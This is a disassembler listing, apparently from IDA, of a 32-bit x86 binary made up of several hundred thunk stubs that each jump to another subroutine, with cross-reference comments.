sub_401BF4 proc near ; CODE XREF: ___:0041433Cp jmp sub_414430 sub_401BF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BF9 proc near jmp sub_40C440 sub_401BF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BFE proc near ; CODE XREF: sub_425100+8Bp jmp sub_424920 sub_401BFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C03 proc near ; CODE XREF: ___:0040B1FEp ; sub_40B250+34p ... jmp sub_40BEB0 sub_401C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C08 proc near ; CODE XREF: sub_40B190+5Cp jmp sub_40BD50 sub_401C08 endp ; --------------------------------------------------------------------------- jmp loc_433AB0 ; --------------------------------------------------------------------------- jmp loc_432410 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C17 proc near ; CODE XREF: sub_431DC0+20p ; sub_431EF0+20p ... jmp sub_431980 sub_401C17 endp ; --------------------------------------------------------------------------- jmp loc_430020 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C21 proc near jmp sub_435AA0 sub_401C21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C26 proc near ; CODE XREF: sub_4138B0+84p ; sub_434D10+3Cp ... jmp sub_434C30 sub_401C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C2B proc near ; CODE XREF: ___:0042D7C8p jmp sub_42C350 sub_401C2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C30 proc near ; CODE XREF: sub_42BB00+446p jmp sub_42B8E0 sub_401C30 endp ; --------------------------------------------------------------------------- jmp loc_41B720 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3A proc near ; CODE XREF: ___:00432546p ; sub_4344C0+23p jmp sub_432DB0 sub_401C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3F proc near ; DATA XREF: ___:off_43F12Co jmp sub_4292E0 sub_401C3F endp ; --------------------------------------------------------------------------- jmp loc_41FD80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C49 proc near ; CODE XREF: sub_41B0E0+8p ; ___:0041B49Dp ... jmp sub_41A110 sub_401C49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C4E proc near ; CODE XREF: sub_42B3F0+3p jmp sub_42B420 sub_401C4E endp ; --------------------------------------------------------------------------- jmp loc_41AE80 ; --------------------------------------------------------------------------- jmp loc_416A90 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C5D proc near ; CODE XREF: sub_40BE70+1Fp jmp sub_40BFA0 sub_401C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C62 proc near ; CODE XREF: sub_415B00+9p ; sub_415C20+18p jmp sub_4166D0 sub_401C62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C67 proc near ; CODE XREF: sub_418D50+4p jmp sub_419070 sub_401C67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C6C proc near ; CODE XREF: sub_4073C0+11p ; ___:004073E7p ... jmp sub_407570 sub_401C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C71 proc near ; CODE XREF: sub_404CC0+111p ; sub_40D660+42p ... jmp sub_40A2D0 sub_401C71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C76 proc near ; CODE XREF: ___:0041326Ap ; sub_4132F0+3Cp ... jmp sub_4158D0 sub_401C76 endp ; --------------------------------------------------------------------------- jmp loc_42FCB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C80 proc near ; CODE XREF: sub_4269A0+69p jmp sub_426B10 sub_401C80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C85 proc near ; CODE XREF: sub_40B600+2Fp ; sub_40B600+6Ep ... jmp sub_40BE40 sub_401C85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C8A proc near ; CODE XREF: ___:00430078p ; ___:0043008Dp ... jmp sub_433FB0 sub_401C8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C8F proc near ; CODE XREF: sub_415450+11p ; sub_415ED0+1Fp jmp sub_4160C0 sub_401C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C94 proc near ; DATA XREF: ___:0043F0D4o jmp sub_41D930 sub_401C94 endp ; --------------------------------------------------------------------------- jmp loc_419A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C9E proc near ; CODE XREF: sub_4073C0+9p ; sub_418E80+18p jmp sub_407610 sub_401C9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CA3 proc near ; CODE XREF: sub_4132C0+3p ; ___:00416C3Bp ... jmp sub_4132F0 sub_401CA3 endp ; --------------------------------------------------------------------------- jmp loc_40B8F0 ; --------------------------------------------------------------------------- loc_401CAD: ; DATA XREF: ___:off_43F05Co jmp loc_416D90 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CB7 proc near ; CODE XREF: ___:00416F6Ap jmp sub_4182B0 sub_401CB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CBC proc near ; CODE XREF: sub_415BA0+Cp ; sub_415BA0+43p jmp sub_4166A0 sub_401CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CC1 proc near ; CODE XREF: sub_4096E0+45p jmp sub_4099C0 sub_401CC1 endp ; --------------------------------------------------------------------------- jmp loc_434430 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CD0 proc near ; CODE XREF: sub_410030+3A4p jmp sub_40A0E0 sub_401CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CD5 proc near ; CODE XREF: sub_4077E0+6BCp ; ___:00407F43p ... jmp sub_407740 sub_401CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDA proc near ; CODE XREF: sub_415500+14p ; sub_415540+9p ... jmp sub_416190 sub_401CDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDF proc near ; CODE XREF: sub_4096E0+144p jmp sub_409A50 sub_401CDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CE4 proc near ; CODE XREF: sub_404690+1C2p ; sub_404B60+36p ... jmp sub_4134A0 sub_401CE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CE9 proc near ; CODE XREF: sub_4151C0+34p ; sub_415C20+67p jmp sub_415DC0 sub_401CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CEE proc near jmp sub_409B80 sub_401CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CF3 proc near ; DATA XREF: ___:0043F06Co jmp sub_41FD00 sub_401CF3 endp ; --------------------------------------------------------------------------- jmp loc_42F3A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CFD proc near ; CODE XREF: sub_40BF70+5p jmp sub_40C1D0 sub_401CFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D02 proc near ; CODE XREF: ___:0043242Fp jmp sub_430520 sub_401D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D07 proc near ; CODE XREF: sub_421E50+11p ; ___:00421E77p ... jmp sub_422400 sub_401D07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D0C proc near ; DATA XREF: ___:0043F048o jmp sub_4132C0 sub_401D0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D11 proc near ; CODE XREF: sub_415890+1Fp jmp sub_416220 sub_401D11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D16 proc near ; CODE XREF: sub_40F6D0+1ACp ; sub_40F6D0+1EDp ... jmp sub_40F660 sub_401D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D1B proc near ; CODE XREF: sub_413E70+15Cp jmp sub_414160 sub_401D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D20 proc near ; CODE XREF: sub_404C70+23p ; sub_410030+13C2p jmp sub_412BF0 sub_401D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D25 proc near ; CODE XREF: ___:00416F2Fp jmp sub_418150 sub_401D25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D2A proc near ; CODE XREF: sub_407590+7p ; sub_40C2E0+7p ... jmp sub_407630 sub_401D2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D2F proc near ; CODE XREF: sub_40A8F0+1Ap ; sub_40A9A0+4p ... jmp sub_40A960 sub_401D2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D34 proc near ; CODE XREF: sub_404690+289p ; sub_404690+2ADp ... jmp sub_40A180 sub_401D34 endp ; --------------------------------------------------------------------------- jmp loc_4305A0 ; --------------------------------------------------------------------------- loc_401D3E: ; DATA XREF: ___:0043F154o jmp loc_4295B0 ; --------------------------------------------------------------------------- jmp loc_42F970 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D48 proc near jmp sub_404010 sub_401D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D4D proc near ; CODE XREF: sub_4120B0+123p ; sub_4120B0+1E2p jmp sub_412780 sub_401D4D endp ; --------------------------------------------------------------------------- jmp loc_41B570 ; --------------------------------------------------------------------------- jmp loc_40B870 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D5C proc near ; CODE XREF: sub_421D80+5p jmp sub_4222E0 sub_401D5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D61 proc near ; CODE XREF: sub_415F70+5Fp jmp sub_416790 sub_401D61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D66 proc near ; CODE XREF: sub_41D930+2C7p jmp sub_42FD30 sub_401D66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D6B proc near ; CODE XREF: sub_418CA0+7p jmp sub_418F40 sub_401D6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D70 proc near ; CODE XREF: sub_413740+5Dp ; sub_413740+9Bp ... jmp sub_415420 sub_401D70 endp ; --------------------------------------------------------------------------- jmp loc_437390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D7A proc near ; CODE XREF: sub_415820+14p ; sub_415860+9p ... jmp sub_4164E0 sub_401D7A endp ; --------------------------------------------------------------------------- jmp loc_40B960 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D84 proc near ; CODE XREF: sub_4341C0+98p jmp sub_431950 sub_401D84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D89 proc near ; CODE XREF: sub_421C60+14p ; sub_421CA0+9p ... jmp sub_4222B0 sub_401D89 endp ; --------------------------------------------------------------------------- jmp loc_42DAD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D93 proc near jmp sub_41C490 sub_401D93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D98 proc near ; CODE XREF: sub_418AB0+14p ; sub_418AF0+9p ... jmp sub_418E20 sub_401D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D9D proc near ; CODE XREF: sub_413740+53p ; sub_413740+91p ... jmp sub_415270 sub_401D9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA2 proc near ; CODE XREF: sub_422B40+56p jmp sub_426B90 sub_401DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA7 proc near ; CODE XREF: sub_422B40+18Ap jmp sub_426A90 sub_401DA7 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DB1 proc near ; CODE XREF: sub_429330+81p jmp sub_428DC0 sub_401DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DB6 proc near ; CODE XREF: sub_415770+11p ; sub_416220+1Fp jmp sub_416410 sub_401DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DBB proc near ; CODE XREF: sub_415230+14p ; sub_415270+9p ... jmp sub_415E40 sub_401DBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DC0 proc near ; CODE XREF: ___:004147E3p jmp sub_4145A0 sub_401DC0 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_425DC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DCF proc near ; CODE XREF: sub_428260+90p jmp sub_428810 sub_401DCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DD4 proc near ; CODE XREF: ___:0042C468p jmp sub_42C1B0 sub_401DD4 endp ; --------------------------------------------------------------------------- jmp loc_4141F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DDE proc near ; CODE XREF: sub_434AD0+74p jmp sub_432AE0 sub_401DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE3 proc near ; CODE XREF: sub_41FB90+1Dp jmp sub_40B150 sub_401DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DE8 proc near ; CODE XREF: sub_40AAD0+45p jmp sub_40AD50 sub_401DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DED proc near ; CODE XREF: ___:0043062Dp ; ___:00430752p ... jmp sub_432C80 sub_401DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DF2 proc near ; CODE XREF: ___:00426F24p jmp sub_4281A0 sub_401DF2 endp ; --------------------------------------------------------------------------- jmp loc_432D50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DFC proc near ; CODE XREF: sub_410030+AE7p ; sub_410030+E5Dp jmp sub_41EF70 sub_401DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E01 proc near ; CODE XREF: sub_40AD80+Ap jmp sub_40AE70 sub_401E01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E06 proc near ; CODE XREF: ___:00416B3Bp ; ___:0043B27Aj ... jmp sub_417BE0 sub_401E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E0B proc near ; CODE XREF: sub_421F80+4p jmp sub_422420 sub_401E0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E10 proc near ; CODE XREF: sub_40C4E0+271p ; sub_425100+50p ... jmp sub_423760 sub_401E10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E15 proc near ; CODE XREF: ___:0041627Ap jmp sub_416860 sub_401E15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1A proc near ; CODE XREF: sub_415DC0+7p jmp sub_4165C0 sub_401E1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1F proc near ; CODE XREF: sub_41D930+19Bp jmp sub_42DA80 sub_401E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E24 proc near ; CODE XREF: sub_404CC0+835p ; sub_404CC0+B62p ... jmp sub_4129D0 sub_401E24 endp ; --------------------------------------------------------------------------- jmp sub_4132C0 ; --------------------------------------------------------------------------- jmp sub_429510 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E33 proc near ; CODE XREF: sub_415490+34p ; sub_415F70+67p jmp sub_416110 sub_401E33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E38 proc near ; CODE XREF: sub_413740+31p ; sub_4145A0+2Dp jmp sub_4153B0 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E3D proc near ; CODE XREF: sub_40CC90+1F1p ; ___:00423FBFp ... jmp sub_426930 sub_401E3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E42 proc near ; CODE XREF: sub_4159F0+3p jmp sub_4164C0 sub_401E42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E47 proc near ; CODE XREF: sub_404690+97p ; sub_404690+107p ... jmp sub_40A4A0 sub_401E47 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_426020 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E56 proc near ; CODE XREF: ___:00423DFAp jmp sub_423950 sub_401E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E5B proc near ; CODE XREF: ___:00421E0Ap jmp sub_422310 sub_401E5B endp ; --------------------------------------------------------------------------- jmp loc_416E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E65 proc near jmp sub_4368D0 sub_401E65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6A proc near ; DATA XREF: ___:off_43F098o jmp sub_4369E0 sub_401E6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6F proc near ; CODE XREF: ___:004337FFp jmp sub_4310A0 sub_401E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E74 proc near ; CODE XREF: sub_4166A0+5p jmp sub_4168F0 sub_401E74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E79 proc near ; CODE XREF: sub_404CC0+28Dp ; sub_41D930+6A3p jmp sub_40DC20 sub_401E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E7E proc near ; CODE XREF: sub_422510+5Fp jmp sub_422700 sub_401E7E endp ; --------------------------------------------------------------------------- jmp loc_419F90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E88 proc near ; CODE XREF: sub_40F6D0+22p ; sub_411930+1Dp ... jmp sub_40AEA0 sub_401E88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E8D proc near ; CODE XREF: sub_40AAD0+112p ; sub_40AAD0+153p jmp sub_40ADB0 sub_401E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E92 proc near ; DATA XREF: ___:off_43F0C0o jmp sub_41B110 sub_401E92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E97 proc near ; CODE XREF: sub_4156D0+3p jmp sub_416170 sub_401E97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E9C proc near ; CODE XREF: sub_427C50+1Ap jmp sub_427B10 sub_401E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA1 proc near ; CODE XREF: ___:00416C0Bp ; ___:0043B1C4j ... jmp sub_4176E0 sub_401EA1 endp ; --------------------------------------------------------------------------- jmp loc_4331B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EAB proc near ; CODE XREF: sub_4201F0+3Ap jmp sub_420400 sub_401EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EB0 proc near ; DATA XREF: ___:0043F114o jmp sub_428260 sub_401EB0 endp ; --------------------------------------------------------------------------- jmp loc_433AF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EBA proc near ; CODE XREF: sub_416410+4p jmp sub_416810 sub_401EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EBF proc near ; CODE XREF: sub_415920+5Bp ; sub_4162C0+11p ... jmp sub_416510 sub_401EBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC4 proc near ; CODE XREF: sub_415740+5p jmp sub_4161F0 sub_401EC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC9 proc near ; CODE XREF: sub_424920+151p jmp sub_4248E0 sub_401EC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ECE proc near ; CODE XREF: ___:00416BABp ; ___:0043B218j ... jmp sub_417930 sub_401ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ED3 proc near ; CODE XREF: sub_4153B0+3p jmp sub_415E20 sub_401ED3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401ED8 proc near ; CODE XREF: sub_415100+11p ; sub_415140+13p ... jmp sub_415D70 sub_401ED8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EDD proc near ; CODE XREF: sub_421A60+14p ; sub_421AA0+9p ... jmp sub_422050 sub_401EDD endp ; --------------------------------------------------------------------------- jmp loc_418960 ; --------------------------------------------------------------------------- jmp loc_41C350 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EEC proc near ; CODE XREF: sub_418F90+18p ; sub_421DB0+9p jmp sub_419150 sub_401EEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EF1 proc near ; CODE XREF: sub_422640+Ap jmp sub_4227E0 sub_401EF1 endp ; --------------------------------------------------------------------------- jmp loc_41BD50 ; --------------------------------------------------------------------------- jmp loc_433BA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F00 proc near ; CODE XREF: ___:00416B0Bp ; ___:0043B2A4j ... jmp sub_417C20 sub_401F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F05 proc near ; CODE XREF: sub_40A8F0+13p jmp loc_40AA30 sub_401F05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F0A proc near ; CODE XREF: sub_41B160:loc_41B1ACp ; sub_41BA50+54p ... jmp sub_4199A0 sub_401F0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F0F proc near ; CODE XREF: ___:00414395p jmp sub_415570 sub_401F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F14 proc near ; CODE XREF: sub_4157B0+34p ; sub_4162C0+67p jmp sub_416460 sub_401F14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F19 proc near ; CODE XREF: sub_4153D0+3p ; ___:00415B4Fp ... jmp sub_415E00 sub_401F19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F1E proc near jmp sub_412CE0 sub_401F1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F23 proc near ; CODE XREF: sub_4131F0+4Dp jmp sub_415450 sub_401F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F28 proc near ; CODE XREF: sub_407140+5Cp ; sub_418F60+3p jmp sub_407360 sub_401F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F2D proc near ; CODE XREF: ___:00419203p jmp sub_419270 sub_401F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F32 proc near ; CODE XREF: ___:0040BFFAp jmp sub_40C330 sub_401F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F37 proc near ; CODE XREF: ___:0042C44Fp jmp sub_42C0A0 sub_401F37 endp ; --------------------------------------------------------------------------- loc_401F3C: ; DATA XREF: ___:off_43F08Co jmp loc_435B90 ; --------------------------------------------------------------------------- loc_401F41: ; DATA XREF: ___:00424194o jmp loc_423D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F46 proc near ; CODE XREF: ___:00416B6Bp ; ___:0043B250j ... jmp sub_417B40 sub_401F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F4B proc near ; CODE XREF: sub_413C40+99p jmp sub_413E10 sub_401F4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F50 proc near ; CODE XREF: sub_40B470+3Dp ; ___:0040BC0Dp ... jmp sub_40B7E0 sub_401F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F55 proc near ; CODE XREF: ___:loc_423DA7p jmp sub_423820 sub_401F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5A proc near ; CODE XREF: sub_404CC0+A38p jmp sub_4068E0 sub_401F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5F proc near ; DATA XREF: ___:off_43F1A0o jmp sub_42C640 sub_401F5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F64 proc near ; CODE XREF: sub_413A80+72p jmp sub_413740 sub_401F64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F69 proc near ; CODE XREF: sub_418430+5Fp ; sub_418A40+1Ap ... jmp sub_418AB0 sub_401F69 endp ; --------------------------------------------------------------------------- jmp loc_430290 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F73 proc near ; CODE XREF: sub_42F6F0+B5p jmp sub_42E5B0 sub_401F73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F78 proc near ; CODE XREF: sub_40B600+4Bp ; sub_40B600:loc_40B68Bp ... jmp sub_40BF20 sub_401F78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F7D proc near jmp sub_41E500 sub_401F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F82 proc near ; CODE XREF: sub_40A510+142p jmp sub_40A8F0 sub_401F82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F87 proc near ; CODE XREF: sub_404690+35Dp ; sub_404690+39Ep jmp sub_404B60 sub_401F87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F8C proc near ; CODE XREF: sub_415ED0+9p ; sub_415F70+18p jmp sub_4167D0 sub_401F8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F91 proc near ; CODE XREF: sub_432E20+1Bp jmp sub_432ED0 sub_401F91 endp ; --------------------------------------------------------------------------- jmp loc_42C2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F9B proc near ; CODE XREF: sub_427740+1Dp ; sub_427C90+1Dp ... jmp sub_4277B0 sub_401F9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA0 proc near ; CODE XREF: sub_4290B0+1Dp ; sub_429450+1Fp ... jmp sub_429120 sub_401FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA5 proc near ; CODE XREF: ___:0042B063p jmp sub_42B090 sub_401FA5 endp ; --------------------------------------------------------------------------- jmp loc_406C20 ; --------------------------------------------------------------------------- jmp loc_40D540 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB4 proc near ; CODE XREF: sub_4096E0+112p ; sub_4096E0+153p jmp sub_409A20 sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB9 proc near ; CODE XREF: sub_422700+5p jmp sub_422870 sub_401FB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FBE proc near ; CODE XREF: sub_407390+5p jmp sub_407540 sub_401FBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FC3 proc near ; CODE XREF: sub_413740+6Fp ; sub_413740+DBp ... jmp sub_4153D0 sub_401FC3 endp ; --------------------------------------------------------------------------- jmp loc_42CB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FCD proc near ; CODE XREF: sub_4152E0+6Ap ; sub_415CE0+32p jmp sub_415C20 sub_401FCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD2 proc near jmp sub_40F100 sub_401FD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD7 proc near ; CODE XREF: sub_412BF0+3p jmp sub_412C20 sub_401FD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FDC proc near ; CODE XREF: sub_404690+48p ; sub_404690+5Dp ... jmp sub_409E00 sub_401FDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE1 proc near ; DATA XREF: ___:off_43F090o jmp sub_419A50 sub_401FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE6 proc near ; CODE XREF: sub_41A1E0+3p ; sub_41B140+9j ... jmp sub_41A210 sub_401FE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FEB proc near ; CODE XREF: sub_40BD90+34p ; sub_40C200+67p jmp sub_40C120 sub_401FEB endp ; --------------------------------------------------------------------------- jmp loc_433980 ; --------------------------------------------------------------------------- loc_401FF5: ; DATA XREF: ___:off_43F094o jmp loc_436570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FFA proc near jmp sub_40F180 sub_401FFA endp ; --------------------------------------------------------------------------- jmp loc_4375F0 ; --------------------------------------------------------------------------- loc_402004: ; DATA XREF: ___:0043F03Co jmp loc_41EEB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402009 proc near ; CODE XREF: sub_41F960+5Ap jmp sub_420040 sub_402009 endp ; --------------------------------------------------------------------------- jmp loc_431670 ; 